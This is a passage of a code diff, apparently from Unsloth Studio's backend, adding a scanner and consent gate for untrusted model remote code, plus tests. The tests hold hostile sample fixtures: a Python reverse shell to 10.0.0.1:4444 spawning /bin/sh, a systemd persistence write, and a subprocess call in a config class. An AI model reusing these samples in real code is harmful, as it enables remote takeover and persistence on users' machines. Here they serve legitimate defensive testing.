fingerprint. + + POST (not GET) so the ``hf_token`` for gated repos travels in the body and + never lands in a URL, browser history, or access log. + """ + try: + from utils.security import preflight_remote_code_consent_for_targets + + if not is_local_path(model_name): + model_name = resolve_cached_repo_id_case(model_name) + # Scan the adapter AND the base together (a LoRA runs both repos' code; a pickle + # can live in either), pinned by one combined fingerprint. Snapshot the primary's + # cache state BEFORE resolving the base: for a remote adapter that resolve + # downloads adapter_config.json, which would otherwise hide the adapter from + # cleanup on decline. On error treat as pre-existing so a decline never deletes it. + try: + _primary_preexisting = is_local_path(model_name) or _repo_in_any_hf_cache(model_name) + except Exception: + _primary_preexisting = True + security_targets = [model_name] + try: + from utils.models.model_config import get_base_model_from_lora_identifier + + # Resolve a LOCAL or REMOTE adapter's base so its code/weights are scanned too. + _base = get_base_model_from_lora_identifier(model_name, hf_token) + if _base: + security_targets.append(_base) + except Exception: + pass + security_targets = list(dict.fromkeys(security_targets)) + # Record every repo OUR scan is first to pull into the cache (adapter, base, and + # external auto_map repos like owner/name--module.Class), so a decline purges + # exactly what was downloaded. Computed BEFORE the preflight downloads, against + # every cache the discard searches, so a repo the user already had is not deleted. + from utils.security.remote_code_scan import external_auto_map_repos + + scan_created_repos: list = [] + _seen_created: set = set() + + def _mark_scan_created(repo: str, *, preexisting: Optional[bool] = None) -> None: + if not repo or repo in _seen_created: + return + _seen_created.add(repo) + try: + already = ( + preexisting + if preexisting is not None + else (is_local_path(repo) or _repo_in_any_hf_cache(repo)) + ) + if not already: + scan_created_repos.append(repo) + except Exception: + pass + + for _target in security_targets: + # Use the pre-base-resolution snapshot for the primary (see above). + _mark_scan_created( + _target, preexisting = _primary_preexisting if _target == model_name else None + ) + for _ext in external_auto_map_repos(_target, hf_token): + _mark_scan_created(_ext) + decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token) + payload = decision.response_payload() + payload["requires_trust_remote_code"] = decision.has_remote_code + # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup. + payload["created_by_scan"] = model_name in scan_created_repos + payload["scan_created_repos"] = scan_created_repos + + # Malware gate (metadata-only): surface HF-flagged unsafe files so the dialog can + # hard-block. Orthogonal to remote code -- a poisoned pickle needs no auto_map. + from utils.security import evaluate_file_security, security_load_subdirs + + unsafe_files: list = [] + security_blocked = False + for _target in security_targets: + _sec = evaluate_file_security( + _target, hf_token = hf_token, load_subdirs = security_load_subdirs(_target, hf_token) + ) + security_blocked = security_blocked or _sec.blocked + unsafe_files.extend(_sec.unsafe_files) + payload["unsafe_files"] = unsafe_files + payload["security_blocked"] = security_blocked + if security_blocked: + # Non-approvable hard block: approvable False hides "Enable and continue", and + # requires_trust_remote_code forces the dialog open even with no custom code. + payload["approvable"] = False + payload["requires_trust_remote_code"] = True + payload["error_kind"] = "malware_blocked" + return payload + except Exception as e: + raise log_and_http_error( + e, + 500, + "Failed to scan model remote code", + event = "models.remote_code_scan_failed", + log = logger, + ) + + +@router.post("/discard-remote-code") +async def discard_remote_code_download( + model_name: str = Body(..., embed = True), current_subject: str = Depends(get_current_subject) +): + """Purge a repo the consent scan downloaded after the user DECLINED its custom + code, so untrusted code is not left on disk. + + Safety: only ever deletes a metadata-only cache entry the scan created. It + refuses a local path (never touches user files), a currently-loaded model, and + any repo that has weight files cached (``*.safetensors`` / ``*.bin`` / + ``*.gguf``) -- i.e. a model the user actually downloaded. The frontend only + calls this when the scan reported ``created_by_scan``. + """ + if is_local_path(model_name): + return {"deleted": False, "reason": "local"} + if not _is_valid_repo_id(model_name): + return {"deleted": False, "reason": "invalid"} + + # Never delete a model that is loaded for inference. + try: + from routes.inference import get_llama_cpp_backend + llama_backend = get_llama_cpp_backend() + if llama_backend.is_loaded and llama_backend.model_identifier: + loaded = llama_backend.model_identifier.lower() + if loaded == model_name.lower() or loaded.startswith(model_name.lower()): + return {"deleted": False, "reason": "loaded"} + except Exception: + pass + try: + inference_backend = get_inference_backend() + if inference_backend.active_model_name: + active = inference_backend.active_model_name.lower() + if active == model_name.lower() or active.startswith(model_name.lower()): + return {"deleted": False, "reason": "loaded"} + except Exception: + pass + + _WEIGHTS = ( + ".safetensors", + ".bin", + ".pt", + ".pth", + ".h5", + ".msgpack", + ".gguf", + ".onnx", + ".ckpt", + ) + try: + target_repo = None + hf_cache = None + for cache in _all_hf_cache_scans(): + for repo_info in cache.repos: + if repo_info.repo_type != "model": + continue + if repo_info.repo_id.lower() == model_name.lower(): + target_repo, hf_cache = repo_info, cache + break + if target_repo is not None: + break + + if target_repo is None: + return {"deleted": False, "reason": "not_cached"} + + # Hard guard: a repo with weights is a real model the user has -- leave it. + for rev in target_repo.revisions: + for f in rev.files: + if f.file_name.lower().endswith(_WEIGHTS): + return {"deleted": False, "reason": "has_weights"} + + revision_hashes = [rev.commit_hash for rev in target_repo.revisions] + if not revision_hashes: + return {"deleted": False, "reason": "not_cached"} + hf_cache.delete_revisions(*revision_hashes).execute() + logger.info("Discarded declined remote-code download: %s", model_name) + return {"deleted": True} + except Exception as e: + logger.warning("Could not discard remote-code download for %s: %s", model_name, e) + return {"deleted": False, "reason": "error"} + + @router.get("/loras") async def scan_loras( outputs_dir: str = Query( @@ -1990,7 +2185,11 @@ async def get_lora_base_model(lora_path: str, current_subject: str = Depends(get @router.get("/check-vision/{model_name:path}", response_model = VisionCheckResponse) -async def check_vision_model(model_name: str, current_subject: str = Depends(get_current_subject)): +async def check_vision_model( + model_name: str, + hf_token: Optional[str] = Query(None), + current_subject: str = Depends(get_current_subject), +): """ Check if a model is a vision model. @@ -1998,7 +2197,8 @@ async def check_vision_model(model_name: str, current_subject: str = Depends(get """ try: logger.info(f"Checking if vision model: {model_name}") - is_vision = is_vision_model(model_name) + # Authenticate so a gated/private VLM classifies correctly (else 404 -> non-vision). + is_vision = is_vision_model(model_name, hf_token = hf_token) logger.info(f"Vision check result for {model_name}: is_vision={is_vision}") return VisionCheckResponse( @@ -2348,6 +2548,51 @@ def _get_repo_size_cached(repo_id: str) -> int: return 0 +def _repo_in_any_hf_cache(model_name: str) -> bool: + """Whether ``model_name`` already exists in ANY HF cache the discard searches + (active, legacy, default). + + ``created_by_scan`` must be True only when the scan itself first pulled the repo; + checking just the active cache (``get_cache_path``) would mark a repo the user + already had in a legacy/default cache as scan-created, so declining the consent + would delete a model they did not download via the scan. Mirrors the cache set in + ``_all_hf_cache_scans`` but only probes for the one repo dir (cheap, no full scan). + """ + from utils.paths import ( + hf_default_cache_dir, + legacy_hf_cache_dir, + resolve_cached_repo_id_case, + ) + + dirname = f"models--{resolve_cached_repo_id_case(model_name).replace('/', '--')}" + dirname_lower = dirname.lower() + candidates = [] + try: + from huggingface_hub.constants import HF_HUB_CACHE + candidates.append(Path(HF_HUB_CACHE)) + except Exception: + pass + for fn in (legacy_hf_cache_dir, hf_default_cache_dir): + try: + candidates.append(fn()) + except Exception: + continue + # resolve_cached_repo_id_case only normalizes the ACTIVE cache, but discard deletes + # case-insensitively across all caches, so detect case-insensitively too -- else a + # pre-existing case-variant repo is misreported as scan-created and deleted on decline. + for cache in candidates: + try: + if (cache / dirname).exists(): + return True + if cache.is_dir(): + for entry in cache.iterdir(): + if entry.name.lower() == dirname_lower and entry.is_dir(): + return True + except Exception: + continue + return False + + def _all_hf_cache_scans(): """scan_cache_dir for the active, legacy, and default HF caches. diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index 09a3e06c91..5860b395d5 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -248,18 +248,30 @@ async def start_training( "output_dir": resume_output_dir, "resume_from_checkpoint": request.resume_from_checkpoint, "trust_remote_code": request.trust_remote_code, + "approved_remote_code_fingerprint": request.approved_remote_code_fingerprint, "gpu_ids": request.gpu_ids, "s3_config": request.s3_config.model_dump() if request.s3_config else None, } - # Training page has no trust_remote_code toggle; as a safety net consult - # YAML model defaults directly so models that need it always get it. + # Training page has no trust_remote_code toggle, so honor the YAML default + # -- but only for genuine first-party (unsloth/nvidia) Hub repos, never a + # local path or a name merely starting with "unsloth/". if not training_kwargs["trust_remote_code"]: + from utils.security.trusted_org import is_trusted_org_repo + model_defaults = load_model_defaults(request.model_name) yaml_trust = model_defaults.get("training", {}).get("trust_remote_code", False) - if yaml_trust: + if yaml_trust and is_trusted_org_repo( + request.model_name, hf_token = request.hf_token or None + ): logger.info(f"YAML config sets trust_remote_code=True for {request.model_name}") training_kwargs["trust_remote_code"] = True + elif yaml_trust: + logger.warning( + "YAML sets trust_remote_code=True for %s but it is not a trusted " + "first-party repo; leaving disabled (user can opt in explicitly).", + request.model_name, + ) # Free GPU memory: shut down any running inference/export subprocesses # before training (they'd compete for VRAM otherwise). diff --git a/studio/backend/tests/test_capability_detection.py b/studio/backend/tests/test_capability_detection.py new file mode 100644 index 0000000000..c8e1b63468 --- /dev/null +++ b/studio/backend/tests/test_capability_detection.py @@ -0,0 +1,361 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Component A tests: capability detection must never execute model repo code. + +Covers: load_model_config defaults trust_remote_code False; the _VISION_CHECK_SCRIPT +subprocess literal keeps remote code off; registry-backed vision/audio detection from +raw config.json (repo-code VLMs detected without execution; ForConditionalGeneration +false positives fixed); and the model-details / GPU probes never enable remote code. +""" + +import json +from types import SimpleNamespace +from unittest.mock import patch, MagicMock + +import pytest + +from utils.models.model_config import ( + load_model_config, + is_vision_model, + _is_vlm, + _raw_config_has_vision_config, + _vision_detection_cache, + _VISION_CHECK_SCRIPT, + _VLM_MODEL_TYPES, + _AUDIO_ONLY_MODEL_TYPES, + _VLM_CLASS_NAMES, +) + + +@pytest.fixture(autouse = True) +def _clear_vision_cache(): + _vision_detection_cache.clear() + yield + _vision_detection_cache.clear() + + +def _write_model_dir( + tmp_path, + cfg, + with_evil_module = False, +): + """Write a local model dir, optionally with an auto_map module that writes a sentinel + on import so accidental code execution during detection shows up on disk.""" + (tmp_path / "config.json").write_text(json.dumps(cfg)) + if with_evil_module: + sentinel = tmp_path / "PWNED_SENTINEL" + (tmp_path / "modeling_evil.py").write_text( + "import os\n" + f"open({str(sentinel)!r}, 'w').write('pwned')\n" + "class EvilConfig: pass\n" + "class EvilModel: pass\n" + ) + return str(tmp_path) + + +# load_model_config default +class TestLoadModelConfigDefault: + @patch("transformers.AutoConfig.from_pretrained") + def test_default_off_with_token(self, fp): + load_model_config("org/m", token = "hf_x") + assert fp.call_args.kwargs["trust_remote_code"] is False + + @patch("utils.models.model_config.without_hf_auth") + @patch("transformers.AutoConfig.from_pretrained") + def test_default_off_public(self, fp, no_auth): + from contextlib import nullcontext + + no_auth.return_value = nullcontext() + load_model_config("org/m", use_auth = False) + assert fp.call_args.kwargs["trust_remote_code"] is False + + @patch("transformers.AutoConfig.from_pretrained") + def test_default_off_cached_auth(self, fp): + load_model_config("org/m", use_auth = True) + assert fp.call_args.kwargs["trust_remote_code"] is False + + @patch("transformers.AutoConfig.from_pretrained") + def test_explicit_true_forwarded(self, fp): + load_model_config("org/m", token = "t", trust_remote_code = True) + assert fp.call_args.kwargs["trust_remote_code"] is True + + +# subprocess script literal +def test_vision_check_script_disables_remote_code(): + assert '"trust_remote_code": False' in _VISION_CHECK_SCRIPT + assert '"trust_remote_code": True' not in _VISION_CHECK_SCRIPT + + +# _is_vlm matrix (pure function, registry-backed) +def _cfg(**kw): + return SimpleNamespace(**kw) + + +class TestIsVlm: + def test_deepseek_ocr_vision_via_vision_config(self): + # auto_map repo-code model; vision-ness is declarative. + c = _cfg( + model_type = "deepseek_vl_v2", + architectures = ["DeepseekOCRForCausalLM"], + vision_config = {}, + projector_config = {}, + ) + assert _is_vlm(c) is True + + def test_kimi_vision_via_vision_config(self): + c = _cfg( + model_type = "kimi_k25", + architectures = ["KimiK25ForConditionalGeneration"], + vision_config = {}, + ) + assert _is_vlm(c) is True + + def test_glm_flash_text_is_not_vision(self): + c = _cfg(model_type = "glm4_moe_lite", architectures = ["Glm4MoeLiteForCausalLM"]) + assert _is_vlm(c) is False + + def test_gemma4_vision_via_vision_config(self): + c = _cfg( + model_type = "gemma4_unified", + architectures = ["Gemma4UnifiedForConditionalGeneration"], + vision_config = {}, + image_token_id = 1, + ) + assert _is_vlm(c) is True + + def test_t5_not_misclassified_as_vision(self): + # Regression: ForConditionalGeneration must NOT be a vision signal. + c = _cfg(model_type = "t5", architectures = ["T5ForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_bart_not_misclassified_as_vision(self): + c = _cfg(model_type = "bart", architectures = ["BartForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_whisper_audio_not_vision(self): + c = _cfg(model_type = "whisper", architectures = ["WhisperForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_csm_audio_not_vision(self): + c = _cfg(model_type = "csm", architectures = ["CsmForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_native_vlm_via_registry_model_type(self): + # llava is in the transformers vision registry. + assert "llava" in _VLM_MODEL_TYPES + c = _cfg(model_type = "llava", architectures = ["LlavaForConditionalGeneration"]) + assert _is_vlm(c) is True + + def test_native_vlm_via_registry_class_name(self): + # Class-name match works even if model_type were unknown. + cls = next(iter(_VLM_CLASS_NAMES)) + c = _cfg(model_type = "something_unlisted", architectures = [cls]) + assert _is_vlm(c) is True + + def test_omni_audio_plus_vision_is_vision(self): + # An audio-registry model_type with an explicit vision sub-config is still vision. + audio_mt = next(iter(_AUDIO_ONLY_MODEL_TYPES - _VLM_MODEL_TYPES)) + c = _cfg(model_type = audio_mt, architectures = ["X"], vision_config = {}) + assert _is_vlm(c) is True + + +# _raw_config_has_vision_config (code-free reader, mocked HF download) +def _mock_raw_config(tmp_path, payload): + p = tmp_path / "config.json" + p.write_text(json.dumps(payload)) + return p + + +class TestRawConfigVisionReader: + @pytest.mark.parametrize( + "payload,expected", + [ + ( + { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"}, + "vision_config": {}, + "projector_config": {}, + }, + True, + ), + ( + { + "model_type": "kimi_k25", + "architectures": ["KimiK25ForConditionalGeneration"], + "auto_map": {"AutoConfig": "configuration_kimi_k25.KimiK25Config"}, + "vision_config": {}, + }, + True, + ), + ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False), + ( + { + "model_type": "gemma4_unified", + "architectures": ["Gemma4UnifiedForConditionalGeneration"], + "vision_config": {}, + }, + True, + ), + ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False), + ( + {"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, + False, + ), + ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False), + ], + ) + def test_reader(self, tmp_path, payload, expected): + cfg_path = _mock_raw_config(tmp_path, payload) + with ( + patch("utils.models.model_config.is_local_path", return_value = False), + patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)), + ): + assert _raw_config_has_vision_config("org/model") is expected + + def test_reader_never_executes_remote_code(self, tmp_path): + # Even with auto_map present, the reader only parses JSON: no AutoConfig touched. + cfg_path = _mock_raw_config( + tmp_path, + { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"}, + "vision_config": {}, + }, + ) + with ( + patch("utils.models.model_config.is_local_path", return_value = False), + patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)), + patch( + "transformers.AutoConfig.from_pretrained", + side_effect = AssertionError("AutoConfig must not be called"), + ), + ): + assert _raw_config_has_vision_config("org/deepseek-ocr") is True + + +# Probes: model-details + GPU estimate never execute remote code +def test_gpu_estimate_probe_is_code_free(): + from utils.hardware import hardware + + cfg = { + "model_type": "glm4_moe_lite", + "hidden_size": 4096, + "num_hidden_layers": 40, + "max_position_embeddings": 8192, + } + with ( + patch("utils.transformers_version._load_config_json", return_value = cfg), + patch( + "transformers.AutoConfig.from_pretrained", + side_effect = AssertionError("AutoConfig must not be called"), + ), + ): + out = hardware._load_config_for_gpu_estimate("unsloth/GLM-4.7-Flash") + assert out.max_position_embeddings == 8192 + assert out.hidden_size == 4096 + + +def test_models_route_source_has_no_remote_code_probe(): + # The metadata probe must never build a trust_remote_code=True loader; referencing + # the static consent scanner or the requires_trust_remote_code flag is fine. + import inspect + import routes.models as models_route + + src = inspect.getsource(models_route) + assert "trust_remote_code = True" not in src + assert "trust_remote_code=True" not in src + + +# Adversarial end-to-end: is_vision_model + the two metadata probes never run auto_map. +def test_no_code_execution_on_detection(tmp_path): + # A malicious local auto_map -> modeling_evil must not execute through any probe. + cfg = { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": { + "AutoConfig": "modeling_evil.EvilConfig", + "AutoModel": "modeling_evil.EvilModel", + }, + "vision_config": {"image_size": 1024}, + "max_position_embeddings": 4096, + } + path = _write_model_dir(tmp_path, cfg, with_evil_module = True) + sentinel = tmp_path / "PWNED_SENTINEL" + + from utils.hardware.hardware import _load_config_for_gpu_estimate + from utils.transformers_version import _load_config_json + + result = is_vision_model(path) + ns = _load_config_for_gpu_estimate(path) + raw = _load_config_json(path) + + assert not sentinel.exists(), "SECURITY FAILURE: auto_map code executed during detection" + assert result is True # detected as vision via raw vision_config, no exec + assert ns is not None and getattr(ns, "max_position_embeddings", None) == 4096 + assert raw is not None and raw.get("model_type") == "deepseek_vl_v2" + + +@pytest.mark.parametrize( + "cfg, expected", + [ + # repo-code VLMs (auto_map) detected via declarative vision_config + ( + { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": {"AutoConfig": "x.Y"}, + "vision_config": {}, + }, + True, + ), + ( + { + "model_type": "kimi_k25", + "architectures": ["KimiK25ForConditionalGeneration"], + "auto_map": {"AutoConfig": "x.Y"}, + "vision_config": {}, + }, + True, + ), + # newer-native vision via vision_config + ( + { + "model_type": "gemma4_unified", + "architectures": ["Gemma4UnifiedForConditionalGeneration"], + "vision_config": {}, + "image_token_id": 7, + }, + True, + ), + # text / seq2seq / audio that share the ForConditionalGeneration suffix + ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False), + ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False), + ({"model_type": "bart", "architectures": ["BartForConditionalGeneration"]}, False), + ({"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, False), + ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False), + # registry-native VLMs via model_type + ({"model_type": "qwen2_vl", "architectures": ["Qwen2VLForConditionalGeneration"]}, True), + ({"model_type": "llava", "architectures": ["LlavaForConditionalGeneration"]}, True), + ], +) +def test_is_vision_model_end_to_end(tmp_path, cfg, expected): + path = _write_model_dir(tmp_path, cfg) + assert is_vision_model(path) is expected, f"{cfg['model_type']} expected vision={expected}" + + +def test_registry_derivation(): + # Registry-derived sets are large and include the curated repo-code VLMs. + assert len(_VLM_MODEL_TYPES) >= 50, f"_VLM_MODEL_TYPES too small: {len(_VLM_MODEL_TYPES)}" + assert ( + len(_AUDIO_ONLY_MODEL_TYPES) >= 20 + ), f"_AUDIO_ONLY too small: {len(_AUDIO_ONLY_MODEL_TYPES)}" + for repo_vlm in ("deepseek_vl_v2", "kimi_k25", "phi3_v", "cogvlm2", "minicpmv"): + assert repo_vlm in _VLM_MODEL_TYPES, f"curated repo-code VLM {repo_vlm} missing" + for native in ("llava", "qwen2_vl"): + assert native in _VLM_MODEL_TYPES, f"registry-native VLM {native} missing" + for audio in ("whisper", "csm"): + assert audio in _AUDIO_ONLY_MODEL_TYPES, f"audio type {audio} missing" diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py new file mode 100644 index 0000000000..67b44ede89 --- /dev/null +++ b/studio/backend/tests/test_consent_gate.py @@ -0,0 +1,1414 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the trust_remote_code consent gate. + +The gate scans a repo's auto_map Python before a trust_remote_code=True load and +refuses CRITICAL/HIGH code unless the user pinned this exact version. The scanner +and fingerprint run for real; only the config/file fetch is stubbed. +""" + +import os +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import MagicMock, patch + +import pytest + +import utils.security.consent as consent +from utils.security import ( + RemoteCodeDecision, + evaluate_remote_code_consent, + evaluate_remote_code_consent_for_targets, + is_trusted_org_repo, + remote_code_fingerprint, + scan_remote_code_files, + should_block_remote_code, +) +from huggingface_hub.utils import EntryNotFoundError + +from utils.security.remote_code_scan import ( + CRITICAL, + HIGH, + REMOTE_CODE_CONFIG_FILES, + RemoteCodeUnscannable, + repo_remote_code_files, +) +from utils.security.trusted_org import clear_cache + +_BACKEND = Path(__file__).resolve().parent.parent + + +@pytest.fixture(autouse = True) +def _clean_trusted_org_cache(monkeypatch): + """Clear the trusted-org cache and force online mode for the Hub-verify path.""" + clear_cache() + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False) + yield + clear_cache() + + +# HIGH severity (persistence install): approvable, blocks untrusted repos. +_HIGH = { + "modeling_persist.py": ( + "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n" + ) +} +# CRITICAL severity (reverse shell) - blocks even a first-party repo. +_CRITICAL = { + "modeling_backdoor.py": ( + "import socket, subprocess, os\n" + "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n" + "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n" + ) +} +_BENIGN = { + "modeling_ok.py": ( + "import torch\n" + "class MyModel(torch.nn.Module):\n" + " def forward(self, x):\n" + " return x + 1\n" + ) +} + + +def _with_auto_map(files): + """Patch the gate so auto_map is present and the given files are returned.""" + return ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", return_value = files), + ) + + +class TestConsentGate: + def test_disabled_is_a_noop(self): + d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False) + assert isinstance(d, RemoteCodeDecision) + assert d.has_remote_code is False and d.blocked is False + + def test_no_auto_map_is_noop(self): + with patch.object(consent, "_config_has_auto_map", return_value = False): + d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True) + assert d.has_remote_code is False + assert d.blocked is False + assert "no-op" in d.reason + + def test_unknown_auto_map_is_scanned_not_skipped(self): + # Unreadable config (private/gated/offline) is "unknown", not "no code": scan, not no-op. + with ( + patch.object(consent, "_config_has_auto_map", return_value = None), + patch.object(consent, "repo_remote_code_files", return_value = _HIGH), + ): + d = evaluate_remote_code_consent( + "private/evil", trust_remote_code = True, trusted_org = False + ) + assert d.has_remote_code is True + assert d.blocked is True + assert "no-op" not in d.reason + + def test_benign_remote_code_allowed(self): + a, b = _with_auto_map(_BENIGN) + with a, b: + d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True) + assert d.has_remote_code is True + assert d.blocked is False + assert d.fingerprint # still fingerprinted for pinning + + def test_high_third_party_blocked(self): + # HIGH from an untrusted repo: blocked but user-approvable (not CRITICAL). + a, b = _with_auto_map(_HIGH) + with a, b: + d = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + assert d.has_remote_code is True + assert d.blocked is True + assert d.approvable is True + assert d.max_severity == "HIGH" + assert d.fingerprint + # response payload is frontend-ready, with STRUCTURED findings. + p = d.response_payload() + assert p["error_kind"] == "remote_code_consent_required" + assert p["approvable"] is True + assert p["fingerprint"] == d.fingerprint + assert isinstance(p["findings"], list) and p["findings"] + f0 = p["findings"][0] + assert {"severity", "file", "check"} <= set(f0) + + def test_high_first_party_requires_approval(self): + # First-party is no longer a blanket bypass: HIGH code from a first-party repo + # requires per-version approval like any other (approvable, unlike CRITICAL). + # Real first-party models scan clean; this uses a synthetic HIGH payload. + a, b = _with_auto_map(_HIGH) + with a, b: + d = evaluate_remote_code_consent( + "unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True + ) + assert d.has_remote_code is True + assert d.blocked is True + assert d.approvable is True + assert d.max_severity == "HIGH" + assert d.fingerprint + assert "approval required" in d.reason + + def test_bare_subprocess_blocked_third_party(self): + # A bare subprocess.Popen in a config __init__: model code must never shell out, so block. + files = { + "configuration.py": ( + "import subprocess\n" + "class RemoteConfig:\n" + " def __init__(self):\n" + " subprocess.Popen(['xcalc'])\n" + ) + } + a, b = _with_auto_map(files) + with a, b: + d = evaluate_remote_code_consent( + "third-party/custom-model", trust_remote_code = True, trusted_org = False + ) + assert d.blocked is True + assert d.max_severity == "HIGH" + assert "subprocess" in d.findings_summary.lower() + + def test_critical_blocked_even_first_party(self): + # CRITICAL (reverse shell) blocks even a trusted first-party repo; not approvable. + a, b = _with_auto_map(_CRITICAL) + with a, b: + d = evaluate_remote_code_consent( + "unsloth/Compromised", trust_remote_code = True, trusted_org = True + ) + assert d.blocked is True + assert d.approvable is False + assert d.max_severity == "CRITICAL" + p = d.response_payload() + assert p["error_kind"] == "remote_code_blocked" + assert p["approvable"] is False + + def test_approved_fingerprint_unblocks(self): + # HIGH (approvable) third-party code: a matching fingerprint unblocks. + a, b = _with_auto_map(_HIGH) + with a, b: + d1 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + d2 = evaluate_remote_code_consent( + "evil/Model", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = d1.fingerprint, + ) + assert d1.blocked is True + assert d2.blocked is False + assert d2.reason == "approved by fingerprint" + + def test_approved_fingerprint_does_not_unblock_critical(self): + # CRITICAL is a hard block: a matching fingerprint must never override it. + a, b = _with_auto_map(_CRITICAL) + with a, b: + d1 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + d2 = evaluate_remote_code_consent( + "evil/Model", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = d1.fingerprint, + ) + assert d1.blocked is True and d1.approvable is False + assert d2.blocked is True and d2.approvable is False + assert d2.reason == "blocked: scan found CRITICAL patterns" + + def test_wrong_fingerprint_still_blocked(self): + a, b = _with_auto_map(_HIGH) + with a, b: + d = evaluate_remote_code_consent( + "evil/Model", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = "deadbeef", + ) + assert d.blocked is True + + def test_combined_targets_one_fingerprint_approves_adapter_and_base(self): + # A LoRA adapter and base that both ship auto_map code are scanned as one unit and + # pinned by a single fingerprint over the union, so one approval unblocks the load. + adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"} + base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"} + + def _files(name, hf_token = None): + return adapter_files if name == "org/adapter" else base_files + + targets = ["org/adapter", "org/base"] + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", side_effect = _files), + ): + d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True) + d2 = evaluate_remote_code_consent_for_targets( + targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint + ) + base_only = evaluate_remote_code_consent_for_targets( + ["org/base"], trust_remote_code = True + ) + assert d1.blocked is True + assert d1.max_severity == "HIGH" + # The single combined fingerprint approves the whole load (adapter + base). + assert d2.blocked is False + assert d2.reason == "approved by fingerprint" + # A fingerprint over the base alone must not match (no silent approval of adapter code). + assert base_only.fingerprint != d1.fingerprint + + def test_fingerprint_is_casing_invariant_for_hub_repos(self): + # The scan endpoint canonicalizes casing but workers pass raw input. The fingerprint + # pins code bytes, not the repo-id spelling, so casing must not change it (else the + # worker rejects the scan's approval as a mismatch). + a, b = _with_auto_map(_HIGH) + with a, b: + d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True) + d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True) + assert d1.fingerprint == d2.fingerprint + # An approval pinned from one casing unblocks the load under another casing. + a, b = _with_auto_map(_HIGH) + with a, b: + d3 = evaluate_remote_code_consent_for_targets( + ["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint + ) + assert d3.blocked is False + assert d3.reason == "approved by fingerprint" + + def test_fingerprint_target_key_keeps_local_path_casing(self): + from utils.security.consent import _fingerprint_target_key + + # A local path is case-sensitive (case-sensitive filesystems); never folded. + with patch("utils.paths.is_local_path", return_value = True): + assert _fingerprint_target_key("/Models/Foo") == "/Models/Foo" + # A Hub repo id is case-insensitive; folded so the pin is casing-robust. + with patch("utils.paths.is_local_path", return_value = False): + assert _fingerprint_target_key("Org/Model") == "org/model" + + def test_unscannable_target_fails_closed_for_whole_load(self): + # If ANY target is present-but-unscannable, the whole load fails closed (non-approvable). + def _raise_for_base(name, hf_token = None): + if name == "org/base": + raise RemoteCodeUnscannable("gated") + return {"modeling_adapter.py": "import torch\n"} + + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base), + ): + d = evaluate_remote_code_consent_for_targets( + ["org/adapter", "org/base"], trust_remote_code = True + ) + assert d.blocked is True + assert d.approvable is False + + def test_medium_severity_blocks_pending_approval(self): + # A MEDIUM finding is approvable but blocks until the fingerprint is pinned, so + # trust_remote_code=True alone cannot run flagged code; a match then unblocks. + # MEDIUM is rarely emitted, so the scan result is mocked to exercise the policy. + from utils.security.remote_code_scan import MEDIUM + + class _MediumResult: + max_severity = MEDIUM + + def summary(self): + return "MEDIUM: large-base64-blob" + + def findings_payload(self): + return [{"severity": "MEDIUM", "file": 